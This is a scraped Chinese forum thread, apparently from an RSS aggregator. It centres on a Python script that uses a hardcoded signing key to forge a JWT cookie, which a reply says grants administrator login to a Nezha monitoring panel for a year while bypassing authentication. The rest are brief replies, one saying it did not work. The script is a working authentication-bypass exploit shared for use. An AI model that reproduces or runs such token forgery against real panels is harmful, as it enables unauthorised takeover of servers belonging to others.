

























import base64
import json
import hmac
import hashlib
import time
# 配置参数
secret_key = b"brTValLD5zgip27aeUVnxPwbumOX5ZDmnkFK03G7aQuIThhCQzD3MOVDuJgCpj6dXCCKwybN8oY4x73X0AhUmffY38nyHcW75RXAyz89ywDiq5JWKHdvJprqZSmhpvWJwzuer4eiIyQJ4amx7dfdSvmJKsq2HO3ToR63sv9dSbMx19dAmKnCt0enG0GCCztp8ZPqCoplPrIUtem1yT6nkFwT3qhaotjUj0yOw8ACLQuzIRQhS0V3NdlgcHsx3aEHEvunZXsGw3nOBnTb1NU2SpkvDpXcBupFQwPB2VW4dsco5CTUhLNrCcIFw0DGtTZIezpx8xRvOgO7B3VncwWRtFeZhrmwNLWoPpqyVfdrxoHeDIksccfTkf8WheUxn0HEh3sJRxqCrKmUf2LabWBqheQ4g7LrLL7ybrbl5wK23KXJLwUWiLaSLPaRChumf3GUvvBgYmeqF30y7L10dvf8m4jNVikxfmtZKyEwvFULLQfVwiyZ5F2ETlg5q7IwGoBiSFmscuADJQ0zHefnwsrLMAOuQjvOM3gBNhNE3wVMLVWBGKkHdJl7p2CabvlisZl3V6pthuA3TfLrMCEbuefvgeGKpmY5djjBXh4HAw5eonabXKMSxsd5AaZM7eCsJiPccuLm6iixzaHjaLcVcO0NyGQDZgiaySaS8OMCWRj0wyroXLTMWAdRqwRXN7sqki493sCjLp6pGJ9fVCqDmreM7Zn4WGrYYQfzUxTi2RZj3zkXS6rOzHYUrq1CUjQKS4qaim4agkhbQ47JH3bNVBOxgya6Z898iU7E9WFIoAc2sVy7rWPq17EnbeFolm3tjRDp9yxelTGx3bykXSj1fcJ9kSvGPhgxnDl0PcICHBeUqBb4HYUy9fSzfOKVyTxlPfKfUpZOrpOGHIcqttJ8zDcW9IgYXmi6jtfqqOESvyfZVlwVLVHf88HlMtWE6x9UhwP4OS00GPnXrZNnoeoIWDnVjPdXNS2CIRDP0xjfQY9I7GXybzZsu8Uo5kPi3LfDkuoh"
header = {"alg": "HS256", "typ": "JWT"}
# 注意:user_id 必须是字符串 "1",不能是数字 1
payload = {
"user_id": "1",
"ip": "104.168.1.54",
"exp": int(time.time()) + 31536000 # 过期时间设为 1 年后
}
# Base64Url 编码函数
def b64url_encode(data):
return base64.urlsafe_b64encode(json.dumps(data, separators=(',', ':')).encode('utf-8')).replace(b'=', b'').decode('utf-8')
# 1. 编码 Header 和 Payload
encoded_header = b64url_encode(header)
encoded_payload = b64url_encode(payload)
# 2. 拼接为待签名字符串
signing_input = f"{encoded_header}.{encoded_payload}"
# 3. 使用 HMAC-SHA256 和 Secret Key 进行签名
signature = hmac.new(secret_key, signing_input.encode('utf-8'), hashlib.sha256).digest()
encoded_signature = base64.urlsafe_b64encode(signature).replace(b'=', b'').decode('utf-8')
# 4. 生成最终的 JWT Token
nz_jwt = f"{signing_input}.{encoded_signature}"
print(f"计算得出的 nz-jwt Cookie 值为:\n{nz_jwt}")
这段代码实际是在生成一个哪吒面板的管理员登录凭证:用已知的签名密钥,手工签发一个 user_id="1"(管理员)、有效期一年的 Token,塞进 Cookie 后就能以管理员身份绕过登录。
Mahmut_Udemy (Mahmut Udemy) 5
很遗憾,我也不知道。不过,能给我点个赞吗?
mdx233 (mdx233) 6
![]()
TANGFAN (唐帆) 7
谢谢老大分享
supers (Supers) 8
测试了好像不行。
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。